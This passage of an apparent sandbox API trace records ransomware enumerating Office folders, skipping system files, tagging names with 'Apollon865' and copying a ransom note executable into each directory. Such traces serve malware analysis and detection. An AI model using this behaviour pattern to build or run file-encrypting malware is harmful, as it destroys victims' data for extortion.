	[0072.876] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="BrightOrange" | out: lpString1="BrightOrange") returned="BrightOrange"
	[0072.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0072.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xac) returned 0x5a0f28
	[0072.877] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0072.877] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="BRIGHT~1.CSS")) returned 1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="Apollon865.txt.exe") returned 1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2=".") returned 1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="..") returned 1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="windows") returned -1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="bootmgr") returned 1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="temp") returned -1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="pagefile.sys") returned -1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="boot") returned 1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="ids.txt") returned -1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="ntuser.dat") returned -1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="perflogs") returned -1
	[0072.877] lstrcmpiW (lpString1="BrightOrange.css", lpString2="MSBuild") returned -1
	[0072.877] lstrlenW (lpString="BrightOrange.css") returned 16
	[0072.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange") returned 85
	[0072.877] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="BrightOrange.css" | out: lpString1="BrightOrange.css") returned="BrightOrange.css"
	[0072.877] lstrlenW (lpString="BrightOrange.css") returned 16
	[0072.877] lstrlenW (lpString="Apollon865") returned 10
	[0072.877] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="BrightYellow" | out: lpString1="BrightYellow") returned="BrightYellow"
	[0072.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0072.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xac) returned 0x5a0fe0
	[0072.877] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c10
	[0072.877] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd03, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="BRIGHT~2.CSS")) returned 1
	[0072.877] lstrcmpiW (lpString1="BrightYellow.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.877] lstrcmpiW (lpString1="BrightYellow.css", lpString2="Apollon865.txt.exe") returned 1
	[0072.877] lstrcmpiW (lpString1="BrightYellow.css", lpString2=".") returned 1
	[0072.877] lstrcmpiW (lpString1="BrightYellow.css", lpString2="..") returned 1
	[0072.877] lstrcmpiW (lpString1="BrightYellow.css", lpString2="windows") returned -1
	[0072.877] lstrcmpiW (lpString1="BrightYellow.css", lpString2="bootmgr") returned 1
	[0072.877] lstrcmpiW (lpString1="BrightYellow.css", lpString2="temp") returned -1
	[0072.878] lstrcmpiW (lpString1="BrightYellow.css", lpString2="pagefile.sys") returned -1
	[0072.878] lstrcmpiW (lpString1="BrightYellow.css", lpString2="boot") returned 1
	[0072.878] lstrcmpiW (lpString1="BrightYellow.css", lpString2="ids.txt") returned -1
	[0072.878] lstrcmpiW (lpString1="BrightYellow.css", lpString2="ntuser.dat") returned -1
	[0072.878] lstrcmpiW (lpString1="BrightYellow.css", lpString2="perflogs") returned -1
	[0072.878] lstrcmpiW (lpString1="BrightYellow.css", lpString2="MSBuild") returned -1
	[0072.878] lstrlenW (lpString="BrightYellow.css") returned 16
	[0072.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow") returned 85
	[0072.878] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="BrightYellow.css" | out: lpString1="BrightYellow.css") returned="BrightYellow.css"
	[0072.878] lstrlenW (lpString="BrightYellow.css") returned 16
	[0072.878] lstrlenW (lpString="Apollon865") returned 10
	[0072.878] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="Casual.css" | out: lpString1="Casual.css") returned="Casual.css"
	[0072.878] lstrlenW (lpString="Casual.css") returned 10
	[0072.878] lstrlenW (lpString="Apollon865") returned 10
	[0072.878] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="Desert" | out: lpString1="Desert") returned="Desert"
	[0072.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0072.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb078
	[0072.878] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0072.878] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2="Apollon865.txt.exe") returned 1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2=".") returned 1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2="..") returned 1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2="windows") returned -1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2="bootmgr") returned 1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2="temp") returned -1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2="pagefile.sys") returned -1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2="boot") returned 1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2="ids.txt") returned -1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2="ntuser.dat") returned -1
	[0072.878] lstrcmpiW (lpString1="Desert.css", lpString2="perflogs") returned -1
	[0072.879] lstrcmpiW (lpString1="Desert.css", lpString2="MSBuild") returned -1
	[0072.879] lstrlenW (lpString="Desert.css") returned 10
	[0072.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert") returned 79
	[0072.879] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="Desert.css" | out: lpString1="Desert.css") returned="Desert.css"
	[0072.879] lstrlenW (lpString="Desert.css") returned 10
	[0072.879] lstrlenW (lpString="Apollon865") returned 10
	[0072.879] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="Discussion.css" | out: lpString1="Discussion.css") returned="Discussion.css"
	[0072.879] lstrlenW (lpString="Discussion.css") returned 14
	[0072.879] lstrlenW (lpString="Apollon865") returned 10
	[0072.881] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl"
	[0072.881] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb3c0 | out: hHeap=0x580000) returned 1
	[0072.881] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0072.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl") returned 78
	[0072.881] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl"
	[0072.881] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.881] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.909] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43876d50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43876d50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.909] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.909] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.909] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.909] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43876d50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43876d50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.909] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.909] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.909] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.909] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.909] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1
	[0072.909] lstrcmpiW (lpString1="background.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.909] lstrcmpiW (lpString1="background.gif", lpString2="Apollon865.txt.exe") returned 1
	[0072.909] lstrcmpiW (lpString1="background.gif", lpString2=".") returned 1
	[0072.909] lstrcmpiW (lpString1="background.gif", lpString2="..") returned 1
	[0072.909] lstrcmpiW (lpString1="background.gif", lpString2="windows") returned -1
	[0072.909] lstrcmpiW (lpString1="background.gif", lpString2="bootmgr") returned -1
	[0072.909] lstrcmpiW (lpString1="background.gif", lpString2="temp") returned -1
	[0072.909] lstrcmpiW (lpString1="background.gif", lpString2="pagefile.sys") returned -1
	[0072.909] lstrcmpiW (lpString1="background.gif", lpString2="boot") returned -1
	[0072.909] lstrcmpiW (lpString1="background.gif", lpString2="ids.txt") returned -1
	[0072.910] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2"
	[0072.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb318 | out: hHeap=0x580000) returned 1
	[0072.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0072.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2") returned 77
	[0072.910] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2"
	[0072.910] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.910] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.918] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43876d50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43876d50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.919] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.919] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.919] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen"
	[0072.919] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0c58 | out: hHeap=0x580000) returned 1
	[0072.919] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0072.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen") returned 84
	[0072.919] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen"
	[0072.919] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.919] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.924] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4389ceb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4389ceb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.925] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.925] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.925] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions"
	[0072.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a37d0 | out: hHeap=0x580000) returned 1
	[0072.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0072.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions") returned 82
	[0072.925] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions"
	[0072.925] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.925] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.932] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.932] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4389ceb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4389ceb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.932] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.932] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.933] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue"
	[0072.933] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3720 | out: hHeap=0x580000) returned 1
	[0072.933] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0072.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue") returned 81
	[0072.933] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue"
	[0072.933] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.933] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.940] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x438c3010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x438c3010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.940] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.940] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.941] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate"
	[0072.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb270 | out: hHeap=0x580000) returned 1
	[0072.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0072.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate") returned 78
	[0072.941] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate"
	[0072.941] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.941] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.945] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x438c3010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x438c3010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.945] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.945] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.945] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis"
	[0072.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb1c8 | out: hHeap=0x580000) returned 1
	[0072.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0072.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis") returned 78
